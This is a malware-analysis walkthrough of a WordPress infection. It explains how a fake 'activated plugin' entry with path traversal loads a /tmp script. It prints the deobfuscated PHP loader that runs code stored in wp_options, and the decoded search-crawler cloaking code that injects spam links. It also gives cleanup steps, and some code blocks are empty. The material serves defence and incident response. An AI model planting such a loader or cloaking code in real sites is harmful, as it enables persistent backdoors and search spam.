Wordpress Exploit: wordpress_options

After spending a weekend evening, together with mysurface, we tracked down a Wordpress exploit running silently in several blogs. This document describes a walk-through to reveal the exploit code.

Symptoms

Exploit Walkthrough

1. Fake activated plugin(s)

Check the 'active_plugins' option in your WordPress database. It should contain ONLY the file paths that point to activated plugin scripts.

SELECT * FROM wp_options WHERE option_name = 'active_plugins'

For example, this is a normal SpamKarma 2 plugin:

i:1;s:27:"SK2/spam_karma_2_plugin.php"

But this is not. You need to remove it:

i:0;s:117:"../../../../../../../../../../../../../../../../../../../../../../tmp/tmpTz3eoe/sess_77cae6776e0eebb17329bf7a93a1ef6f"

In this case, it is a fake plugin script. But since your Wordpress thinks that it's just another activated plugin, it loads and runs the script everyday.

The fake plugin script, in our case, was found located at /tmp/tmpTz3eoe/sess_77cae6776e0eebb17329bf7a93a1ef6f. It contains some cryptic codes:

By removing all the /* .. */ comments, you will get this:

<? $f=create_function("",strrev(get_option("wordpress_options"))); $f(); ?>

Notice that, the script retrieves 'wordpress_options' option from your WordPress database.

2. Encoded 'wordpress_options' option

So, if the 'wordpress_options' option exists in your database, remove it.

SELECT option_value FROM wp_options WHERE option_name = 'wordpress_options'

It contains the exploit code, which is based64-encoded:

After base64-decoded it, the exploit code reveals itself:

At the end of the exploit code, you find this:

if(!function_exists('echo123')){ function echo123(){ echo base64_decode(get_option('internal_links_cache')); } }
$seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol");
$sebot=""; foreach($seau as $ua) if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; }
if($sebot=="1" && sizeof($_COOKIE)==0) add_action('wp_footer','echo123');

3. Encoded 'internal_links_cache' option

Again, if the 'internal_links_cache' option exists in your database, remove it.

SELECT option_value FROM wp_options WHERE option_name = 'internal_links_cache'

It contains a second exploit code, also base64-encoded.

As shown below, the code is a list of spam-links and a Google Adsense javascript, desperately begging for your donation:

4. *_new.php, *_old.giff files

You may find several *_(old|new).(php|giff|pngg) files scattered all over your WordPress sub-directories. Remove them and upgrade your Wordpress to the latest version.

These files contains a third exploit code:

Related Exploits

There are a few similar variants of the exploit code out there. If this walkthrough does not match your situation, you may want to continue to read on:

A valid XHTML 1.0 draft by Teo Hui Ming, filed under , licensed under a Creative Commons Attributes 3.0 License.